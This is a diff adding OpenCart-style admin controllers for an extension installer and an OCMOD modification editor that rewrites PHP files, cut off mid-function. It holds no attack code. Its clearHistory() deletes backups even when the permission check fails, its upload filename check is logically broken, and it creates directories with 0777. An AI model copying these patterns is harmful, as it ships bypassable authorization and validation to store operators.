+++ b/public/admin/controller/marketplace/installer.php
@@ -0,0 +1,172 @@
+load->language('marketplace/installer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketplace/installer', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketplace/installer', $data));
+ }
+
+ public function history() {
+ $this->load->language('marketplace/installer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $this->load->model('setting/extension');
+
+ $results = $this->model_setting_extension->getExtensionInstalls(($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'extension_install_id' => $result['extension_install_id'],
+ 'filename' => $result['filename'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_setting_extension->getTotalExtensionInstalls();
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('marketplace/installer/history', 'user_token=' . $this->session->data['user_token'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('marketplace/installer_history', $data));
+ }
+
+ public function upload() {
+ $this->load->language('marketplace/installer');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'marketplace/installer')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ // Check if there is a install zip already there
+ $files = glob(DIR_UPLOAD . '*.tmp');
+
+ foreach ($files as $file) {
+ if (is_file($file) && (filectime($file) < (time() - 5))) {
+ unlink($file);
+ }
+
+ if (is_file($file)) {
+ $json['error'] = $this->language->get('error_install');
+
+ break;
+ }
+ }
+
+ // Check for any install directories
+ $directories = glob(DIR_UPLOAD . 'tmp-*');
+
+ foreach ($directories as $directory) {
+ if (is_dir($directory) && (filectime($directory) < (time() - 5))) {
+ // Get a list of files ready to upload
+ $files = array();
+
+ $path = array($directory);
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ // We have to use scandir function because glob will not pick up dot files.
+ foreach (array_diff(scandir($next), array('.', '..')) as $file) {
+ $file = $next . '/' . $file;
+
+ if (is_dir($file)) {
+ $path[] = $file;
+ }
+
+ $files[] = $file;
+ }
+ }
+
+ rsort($files);
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+
+ rmdir($directory);
+ }
+
+ if (is_dir($directory)) {
+ $json['error'] = $this->language->get('error_install');
+
+ break;
+ }
+ }
+
+ if (isset($this->request->files['file']['name'])) {
+ if (substr($this->request->files['file']['name'], -10) != '.ocmod.zip') {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+
+ if (!$json) {
+ $this->session->data['install'] = token(10);
+
+ $file = DIR_UPLOAD . $this->session->data['install'] . '.tmp';
+
+ move_uploaded_file($this->request->files['file']['tmp_name'], $file);
+
+ if (is_file($file)) {
+ $this->load->model('setting/extension');
+
+ $extension_install_id = $this->model_setting_extension->addExtensionInstall($this->request->files['file']['name']);
+
+ $json['text'] = $this->language->get('text_install');
+
+ $json['next'] = str_replace('&', '&', $this->url->link('marketplace/install/install', 'user_token=' . $this->session->data['user_token'] . '&extension_install_id=' . $extension_install_id, true));
+ } else {
+ $json['error'] = $this->language->get('error_file');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketplace/modification.php b/public/admin/controller/marketplace/modification.php
new file mode 100644
index 0000000..ac28ec6
--- /dev/null
+++ b/public/admin/controller/marketplace/modification.php
@@ -0,0 +1,1424 @@
+load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ $this->getList();
+ }
+ public function edit() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+
+ if(isset($this->request->get['modification_id'])){
+
+
+
+ $modification = $this->model_setting_modification->getModification($this->request->get['modification_id']);
+
+ if ($modification) {
+ $this->model_setting_modification->addModificationBackup($this->request->get['modification_id'], $modification);
+ }
+ }
+ $dom = new DOMDocument('1.0', 'UTF-8');;
+ $dom->formatOutput = true;
+ $dom->preserveWhiteSpace = false;
+ $modification = array();
+ $modification = $dom->createElement('modification');
+ if($this->request->post['name']){
+ $modification->appendChild($dom->createElement('name', $this->request->post['name']));
+ }
+ if($this->request->post['code']){
+ $modification->appendChild($dom->createElement('code', $this->request->post['code']));
+ }
+ if($this->request->post['version']){
+ $modification->appendChild($dom->createElement('version', $this->request->post['version']));
+ }
+ if($this->request->post['author']){
+ $modification->appendChild($dom->createElement('author', $this->request->post['author']));
+ }
+ if($this->request->post['link']){
+ $modification->appendChild($dom->createElement('link', $this->request->post['link']));
+ }
+ $newxml = array();
+ foreach($this->request->post['newxml']['files'] as $file){
+ if(is_array($file['operations']) AND count($file['operations']) > 0){
+ if(!is_array($newxml[$file['filename']])){
+ $newxml[trim($file['filename'])] = array();
+ }
+ }
+ foreach($file['operations'] as $operation){
+ array_push($newxml[$file['filename']], $operation);
+ }
+ }
+ foreach($newxml as $filename=>$operations){
+ $file = $dom->createElement('file');
+ $filepath = $dom->createAttribute('path');
+ $filepath->value = $filename;
+ $file->appendChild($filepath);
+ foreach($operations as $operation){
+ if($operation['search']){
+ $xmloperation = $dom->createElement('operation');
+ $error = $dom->createAttribute('error');
+ $error->value = $operation['error'];
+ $xmloperation->appendChild($error);
+ if($operation['info']){
+ $info = $dom->createAttribute('info');
+ $info->value = $operation['info'];
+ $xmloperation->appendChild($info);
+ }
+ $search = $dom->createElement('search');
+ $search->appendChild($dom->createCDATASection($operation['search']));
+ if(isset($operation['regex']) AND $operation['regex'] == "1"){
+ $regex = $dom->createAttribute('regex');
+ $regex->value = $operation['regex'];
+ $search->appendChild($regex);
+ }
+ if(isset($operation['index']) AND $operation['index'] != ""){
+ $index = $dom->createAttribute('index');
+ $index->value = (int)$operation['index'];
+ $search->appendChild($index);
+ }
+ if(isset($operation['limit']) AND $operation['limit'] != ""){
+ $limit = $dom->createAttribute('limit');
+ $limit->value = (int)$operation['limit'];
+ $search->appendChild($limit);
+ }
+ $xmloperation->appendChild($search);
+ $add = $dom->createElement('add');
+ $add->appendChild($dom->createCDATASection($operation['replace']));
+ $position = $dom->createAttribute('position');
+ $position->value = $operation['action'];
+
+ if(isset($operation['trim']) AND $operation['trim'] == "1"){
+ $trim = $dom->createAttribute('trim');
+ $trim->value = 'true';
+ $add->appendChild($trim);
+ }
+ if(isset($operation['offset']) AND $operation['offset'] != ""){
+ $offset = $dom->createAttribute('offset');
+ $offset->value = (int)$operation['offset'];
+ $add->appendChild($offset);
+ }
+ $add->appendChild($position);
+ $xmloperation->appendChild($add);
+ $file->appendChild($xmloperation);
+ }
+ }
+ $modification->appendChild($file);
+ }
+ $dom->appendChild($modification);
+
+
+ $xml = $dom->saveXML();
+
+ unset($this->request->post['newxml']);
+ $this->request->post['xml'] = $xml;
+
+
+ if(isset($this->request->get['modification_id'])){
+ $this->model_setting_modification->editModification($this->request->get['modification_id'], $this->request->post);
+ } else {
+
+ $this->load->model('setting/extension');
+
+ $extension_install_id = $this->model_setting_extension->addExtensionInstall($this->request->post['code'] . ".ocmod.zip");
+ $this->request->post['extension_install_id'] = $extension_install_id;
+ $this->request->get['modification_id'] = $this->model_setting_modification->addModification($this->request->post);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+
+
+ if (!isset($this->request->get['update'])) {
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ } else {
+ $this->refresh();
+ $this->response->redirect($this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true));
+ }
+ }
+
+ $this->getForm();
+ }
+
+
+
+ public function restore() {
+ $this->load->language('marketplace/extension');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if (isset($this->request->get['modification_id']) AND isset($this->request->get['backup_id'])) {
+
+ $backup = $this->model_setting_modification->getModificationBackup($this->request->get['modification_id'],$this->request->get['backup_id']);
+
+ $url = '';
+
+ if ($backup) {
+ $this->model_setting_modification->setModificationRestore($this->request->get['modification_id'], $backup['xml']);
+ $this->refresh();
+ $this->response->redirect($this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true));
+ } else {
+ $this->response->redirect($this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'] . $url, true));
+ }
+ }
+
+ $this->getForm();
+ }
+
+ public function clearHistory() {
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/modification');
+ $this->model_setting_modification->deleteModificationBackups($this->request->get['modification_id']);
+
+ $this->response->redirect($this->url->link('marketplace/modification/edit', 'user_token=' . $this->session->data['user_token'] . '&modification_id=' . $this->request->get['modification_id'], true));
+ }
+
+ public function download() {
+ $this->load->model('setting/modification');
+
+ $modification = $this->model_setting_modification->getModification($this->request->get['modification_id']);
+
+ if ($modification) {
+ $xml = $modification['xml'];
+ } else {
+ $xml = '';
+ }
+
+ $this->response->addHeader('Content-Type: application/xml');
+ $this->response->setOutput($xml);
+ }
+
+ public function upload() {
+ $this->load->language('marketplace/installer');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/modification');
+
+ $modification = $this->model_setting_modification->getModification($this->request->get['modification_id']);
+
+ if (!$json) {
+ if (!empty($this->request->files['file']['name'])) {
+ if (!$this->request->files['file']['name'] == $modification['code'].".ocmod.xml") {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+ }
+
+ if (!$json) {
+ // If no temp directory exists create it
+ $path = 'temp-' . token(32);
+
+ if (!is_dir(DIR_UPLOAD . $path)) {
+ mkdir(DIR_UPLOAD . $path, 0777);
+ }
+
+ // Set the steps required for installation
+ $json['step'] = array();
+ $json['overwrite'] = array();
+
+ if (strrchr($this->request->files['file']['name'], '.') == '.xml') {
+ $file = DIR_UPLOAD . $path . '/install.xml';
+
+ // If xml file copy it to the temporary directory
+ move_uploaded_file($this->request->files['file']['tmp_name'], $file);
+
+ if (file_exists($file)) {
+ $json['step'][] = array(
+ 'text' => $this->language->get('text_xml'),
+ 'url' => str_replace('&', '&', $this->url->link('marketplace/modification/xml', 'user_token=' . $this->session->data['user_token']."&modification_id=".$modification['modification_id'], true)),
+ 'path' => $path
+ );
+
+ // Clear temporary files
+ $json['step'][] = array(
+ 'text' => $this->language->get('text_remove'),
+ 'url' => str_replace('&', '&', $this->url->link('marketplace/modification/remove', 'user_token=' . $this->session->data['user_token']."&modification_id=".$modification['modification_id'], true)),
+ 'path' => $path
+ );
+ } else {
+ $json['error'] = $this->language->get('error_file');
+ }
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function xml() {
+ $this->load->language('marketplace/installer');
+
+ $this->load->model('setting/modification');
+
+ $modification = $this->model_setting_modification->getModification($this->request->get['modification_id']);
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ $file = DIR_UPLOAD . $this->request->post['path'] . '/install.xml';
+
+ if (!is_file($file) || substr(str_replace('\\', '/', realpath($file)), 0, strlen(DIR_UPLOAD)) != DIR_UPLOAD) {
+ $json['error'] = $this->language->get('error_file');
+ }
+
+ if (!$json) {
+ $this->load->model('setting/modification');
+
+ // If xml file just put it straight into the DB
+ $xml = file_get_contents($file);
+
+ if ($xml) {
+ try {
+ $dom = new DOMDocument('1.0', 'UTF-8');
+ $dom->loadXml($xml);
+
+ $name = $dom->getElementsByTagName('name')->item(0);
+
+ if ($name) {
+ $name = $name->nodeValue;
+ } else {
+ $name = '';
+ }
+
+ $code = $dom->getElementsByTagName('code')->item(0);
+
+ if (!$code) {
+ $json['error'] = $this->language->get('error_code');
+ }
+
+ $author = $dom->getElementsByTagName('author')->item(0);
+
+ if ($author) {
+ $author = $author->nodeValue;
+ } else {
+ $author = '';
+ }
+
+ $version = $dom->getElementsByTagName('version')->item(0);
+
+ if ($version) {
+ $version = $version->nodeValue;
+ } else {
+ $version = '';
+ }
+
+ $link = $dom->getElementsByTagName('link')->item(0);
+
+ if ($link) {
+ $link = $link->nodeValue;
+ } else {
+ $link = '';
+ }
+
+ $modification_data = array(
+ 'name' => $name,
+ 'code' => $code,
+ 'author' => $author,
+ 'version' => $version,
+ 'link' => $link,
+ 'xml' => $xml,
+ 'status' => 1
+ );
+
+ if (!$json) {
+ $this->model_setting_modification->editModification($modification['modification_id'], $modification_data);
+ }
+ } catch(Exception $exception) {
+ $json['error'] = sprintf($this->language->get('error_exception'), $exception->getCode(), $exception->getMessage(), $exception->getFile(), $exception->getLine());
+ }
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function remove() {
+ $this->load->language('marketplace/modification');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'marketplace/modification')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ $directory = DIR_UPLOAD . $this->request->post['path'];
+
+ if (!is_dir($directory) || substr(str_replace('\\', '/', realpath($directory)), 0, strlen(DIR_UPLOAD)) != DIR_UPLOAD) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (!$json) {
+ // Get a list of files ready to upload
+ $files = array();
+
+ $path = array($directory);
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ // We have to use scandir function because glob will not pick up dot files.
+ foreach (array_diff(scandir($next), array('.', '..')) as $file) {
+ $file = $next . '/' . $file;
+
+ if (is_dir($file)) {
+ $path[] = $file;
+ }
+
+ $files[] = $file;
+ }
+ }
+
+ rsort($files);
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+
+ if (file_exists($directory)) {
+ rmdir($directory);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+
+ public function delete() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if (isset($this->request->post['selected']) && $this->validate()) {
+ foreach ($this->request->post['selected'] as $modification_id) {
+ $this->model_setting_modification->deleteModification($modification_id);
+ $this->model_setting_modification->deleteModificationBackups($modification_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function refresh($data = array()) {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+ $this->load->model('design/theme');
+
+ if ($this->validate()) {
+ // Clear log before refresh modifications
+ $handle = fopen(DIR_LOGS . 'ocmod.log', 'w+');
+ fclose($handle);
+
+ // Just before files are deleted, if config settings say maintenance mode is off then turn it on
+ $maintenance = $this->config->get('config_maintenance');
+
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSettingValue('config', 'config_maintenance', true);
+
+ //Log
+ $log = array();
+
+ // Clear all modification files
+ $files = array();
+
+ // Make path into an array
+ $path = array(DIR_MODIFICATION . '*');
+
+ // While the path array is still populated keep looping through
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ $files[] = $file;
+ }
+ }
+
+ // Reverse sort the file array
+ rsort($files);
+
+ // Clear all modification files
+ foreach ($files as $file) {
+ if ($file != DIR_MODIFICATION . 'index.html') {
+ // If file just delete
+ if (is_file($file)) {
+ unlink($file);
+
+ // If directory use the remove directory function
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+ }
+
+ // Begin
+ $xml = array();
+
+ // Load the default modification XML
+ $xml[] = file_get_contents(DIR_SYSTEM . 'modification.xml');
+
+ // This is purly for developers so they can run mods directly and have them run without upload after each change.
+ $files = glob(DIR_SYSTEM . '*.ocmod.xml');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $xml[] = file_get_contents($file);
+ }
+ }
+
+ // Get the default modification file
+ $results = $this->model_setting_modification->getModifications();
+
+ foreach ($results as $result) {
+ if ($result['status']) {
+ $xml[] = $result['xml'];
+ }
+ }
+
+ $modification = array();
+
+ foreach ($xml as $xml) {
+ if (empty($xml)){
+ continue;
+ }
+
+ $dom = new DOMDocument('1.0', 'UTF-8');
+ $dom->preserveWhiteSpace = false;
+ $dom->loadXml($xml);
+
+ // Log
+ $log[] = 'MOD: ' . $dom->getElementsByTagName('name')->item(0)->textContent;
+
+ // Wipe the past modification store in the backup array
+ $recovery = array();
+
+ // Set the a recovery of the modification code in case we need to use it if an abort attribute is used.
+ if (isset($modification)) {
+ $recovery = $modification;
+ }
+
+ if ($this->config->get('config_theme') == 'default') {
+ $theme = $this->config->get('theme_default_directory');
+ } else {
+ $theme = $this->config->get('config_theme');
+ }
+
+ $store_id = (int)$this->config->get('config_store_id');
+
+ $files = $dom->getElementsByTagName('modification')->item(0)->getElementsByTagName('file');
+
+ foreach ($files as $file) {
+ $operations = $file->getElementsByTagName('operation');
+
+ $files = explode('|', str_replace("\\", '/', $file->getAttribute('path')));
+
+ foreach ($files as $file) {
+ $path = '';
+
+ // Get the full path of the files that are going to be used for modification
+ if ((substr($file, 0, 7) == 'catalog')) {
+ $path = DIR_CATALOG . substr($file, 8);
+ }
+
+ if ((substr($file, 0, 5) == 'admin')) {
+ $path = DIR_APPLICATION . substr($file, 6);
+ }
+
+ if ((substr($file, 0, 6) == 'system')) {
+ $path = DIR_SYSTEM . substr($file, 7);
+ }
+
+ if ($path) {
+ $files = glob($path, GLOB_BRACE);
+
+ if ($files) {
+ foreach ($files as $file) {
+ // Get the key to be used for the modification cache filename.
+ if (substr($file, 0, strlen(DIR_CATALOG)) == DIR_CATALOG) {
+ $key = 'catalog/' . substr($file, strlen(DIR_CATALOG));
+ }
+
+ if (substr($file, 0, strlen(DIR_APPLICATION)) == DIR_APPLICATION) {
+ $key = 'admin/' . substr($file, strlen(DIR_APPLICATION));
+ }
+
+ if (substr($file, 0, strlen(DIR_SYSTEM)) == DIR_SYSTEM) {
+ $key = 'system/' . substr($file, strlen(DIR_SYSTEM));
+ }
+
+ // If file contents is not already in the modification array we need to load it.
+ if (!isset($modification[$key])) {
+
+ $route = substr(mb_strstr($key, 'template'), 9, -5);
+
+ $theme_info = $this->model_design_theme->getTheme($store_id, $theme, $route);
+
+ if ($theme_info) {
+ $content = html_entity_decode($theme_info['code'], ENT_QUOTES, 'UTF-8');
+ } else {
+ $content = file_get_contents($file);
+ }
+
+ $modification[$key] = preg_replace('~\r?\n~', "\n", $content);
+ $original[$key] = preg_replace('~\r?\n~', "\n", $content);
+
+ // Log
+ $log[] = PHP_EOL . 'FILE: ' . $key;
+ }
+
+ foreach ($operations as $operation) {
+ $error = $operation->getAttribute('error');
+
+ // Ignoreif
+ $ignoreif = $operation->getElementsByTagName('ignoreif')->item(0);
+
+ if ($ignoreif) {
+ if ($ignoreif->getAttribute('regex') != 'true') {
+ if (strpos($modification[$key], $ignoreif->textContent) !== false) {
+ continue;
+ }
+ } else {
+ if (preg_match($ignoreif->textContent, $modification[$key])) {
+ continue;
+ }
+ }
+ }
+
+ $status = false;
+
+ // Search and replace
+ if ($operation->getElementsByTagName('search')->item(0)->getAttribute('regex') != 'true') {
+ // Search
+ $search = $operation->getElementsByTagName('search')->item(0)->textContent;
+ $trim = $operation->getElementsByTagName('search')->item(0)->getAttribute('trim');
+ $index = $operation->getElementsByTagName('search')->item(0)->getAttribute('index');
+
+ // Trim line if no trim attribute is set or is set to true.
+ if (!$trim || $trim == 'true') {
+ $search = trim($search);
+ }
+
+ // Add
+ $add = $operation->getElementsByTagName('add')->item(0)->textContent;
+ $trim = $operation->getElementsByTagName('add')->item(0)->getAttribute('trim');
+ $position = $operation->getElementsByTagName('add')->item(0)->getAttribute('position');
+ $offset = $operation->getElementsByTagName('add')->item(0)->getAttribute('offset');
+
+ if ($offset == '') {
+ $offset = 0;
+ }
+
+ // Trim line if is set to true.
+ if ($trim == 'true') {
+ $add = trim($add);
+ }
+
+ // Log
+ $log[] = 'CODE: ' . $search;
+
+ // Check if using indexes
+ if ($index !== '') {
+ $indexes = explode(',', $index);
+ } else {
+ $indexes = array();
+ }
+
+ // Get all the matches
+ $i = 0;
+
+ $lines = explode("\n", $modification[$key]);
+
+ for ($line_id = 0; $line_id < count($lines); $line_id++) {
+ $line = $lines[$line_id];
+
+ // Status
+ $match = false;
+
+ // Check to see if the line matches the search code.
+ if (stripos($line, $search) !== false) {
+ // If indexes are not used then just set the found status to true.
+ if (!$indexes) {
+ $match = true;
+ } elseif (in_array($i, $indexes)) {
+ $match = true;
+ }
+
+ $i++;
+ }
+
+ // Now for replacing or adding to the matched elements
+ if ($match) {
+ switch ($position) {
+ default:
+ case 'replace':
+ $new_lines = explode("\n", $add);
+
+ if ($offset < 0) {
+ array_splice($lines, $line_id + $offset, abs($offset) + 1, array(str_replace($search, $add, $line)));
+
+ $line_id -= $offset;
+ } else {
+ array_splice($lines, $line_id, $offset + 1, array(str_replace($search, $add, $line)));
+ }
+ break;
+ case 'before':
+ $new_lines = explode("\n", $add);
+
+ array_splice($lines, $line_id - $offset, 0, $new_lines);
+
+ $line_id += count($new_lines);
+ break;
+ case 'after':
+ $new_lines = explode("\n", $add);
+
+ array_splice($lines, ($line_id + 1) + $offset, 0, $new_lines);
+
+ $line_id += count($new_lines);
+ break;
+ }
+
+ // Log
+ $log[] = 'LINE: ' . $line_id;
+
+ $status = true;
+ }
+ }
+
+ $modification[$key] = implode("\n", $lines);
+ } else {
+ $search = trim($operation->getElementsByTagName('search')->item(0)->textContent);
+ $limit = $operation->getElementsByTagName('search')->item(0)->getAttribute('limit');
+ $replace = trim($operation->getElementsByTagName('add')->item(0)->textContent);
+
+ // Limit
+ if (!$limit) {
+ $limit = -1;
+ }
+
+ // Log
+ $match = array();
+
+ preg_match_all($search, $modification[$key], $match, PREG_OFFSET_CAPTURE);
+
+ // Remove part of the the result if a limit is set.
+ if ($limit > 0) {
+ $match[0] = array_slice($match[0], 0, $limit);
+ }
+
+ if ($match[0]) {
+ $log[] = 'REGEX: ' . $search;
+
+ for ($i = 0; $i < count($match[0]); $i++) {
+ $log[] = 'LINE: ' . (substr_count(substr($modification[$key], 0, $match[0][$i][1]), "\n") + 1);
+ }
+
+ $status = true;
+ }
+
+ // Make the modification
+ $modification[$key] = preg_replace($search, $replace, $modification[$key], $limit);
+ }
+
+ if (!$status) {
+ // Abort applying this modification completely.
+ if ($error == 'abort') {
+ $modification = $recovery;
+ // Log
+ $log[] = 'NOT FOUND - ABORTING!';
+ break 5;
+ }
+ // Skip current operation or break
+ elseif ($error == 'skip') {
+ // Log
+ $log[] = 'NOT FOUND - OPERATION SKIPPED!';
+ continue;
+ }
+ // Break current operations
+ else {
+ // Log
+ $log[] = 'NOT FOUND - OPERATIONS ABORTED!';
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ // Log
+ $log[] = '----------------------------------------------------------------';
+ }
+
+ // Log
+ $ocmod = new Log('ocmod.log');
+ $ocmod->write(implode("\n", $log));
+
+ // Write all modification files
+ foreach ($modification as $key => $value) {
+ // Only create a file if there are changes
+ if ($original[$key] != $value) {
+ $path = '';
+
+ $directories = explode('/', dirname($key));
+
+ foreach ($directories as $directory) {
+ $path = $path . '/' . $directory;
+
+ if (!is_dir(DIR_MODIFICATION . $path)) {
+ @mkdir(DIR_MODIFICATION . $path, 0777);
+ }
+ }
+
+ $handle = fopen(DIR_MODIFICATION . $key, 'w');
+
+ fwrite($handle, $value);
+
+ fclose($handle);
+ }
+ }
+
+ // Maintance mode back to original settings
+ $this->model_setting_setting->editSettingValue('config', 'config_maintenance', $maintenance);
+
+ // Do not return success message if refresh() was called with $data
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ //$this->response->redirect($this->url->link(!empty($data['redirect']) ? $data['redirect'] : 'marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function clear() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if ($this->validate()) {
+ $files = array();
+
+ // Make path into an array
+ $path = array(DIR_MODIFICATION . '*');
+
+ // While the path array is still populated keep looping through
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ $files[] = $file;
+ }
+ }
+
+ // Reverse sort the file array
+ rsort($files);
+
+ // Clear all modification files
+ foreach ($files as $file) {
+ if ($file != DIR_MODIFICATION . 'index.html') {
+ // If file just delete
+ if (is_file($file)) {
+ unlink($file);
+
+ // If directory use the remove directory function
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function enable() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if (isset($this->request->get['modification_id']) && $this->validate()) {
+ $this->model_setting_modification->enableModification($this->request->get['modification_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('marketplace/modification');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/modification');
+
+ if (isset($this->request->get['modification_id']) && $this->validate()) {
+ $this->model_setting_modification->disableModification($this->request->get['modification_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
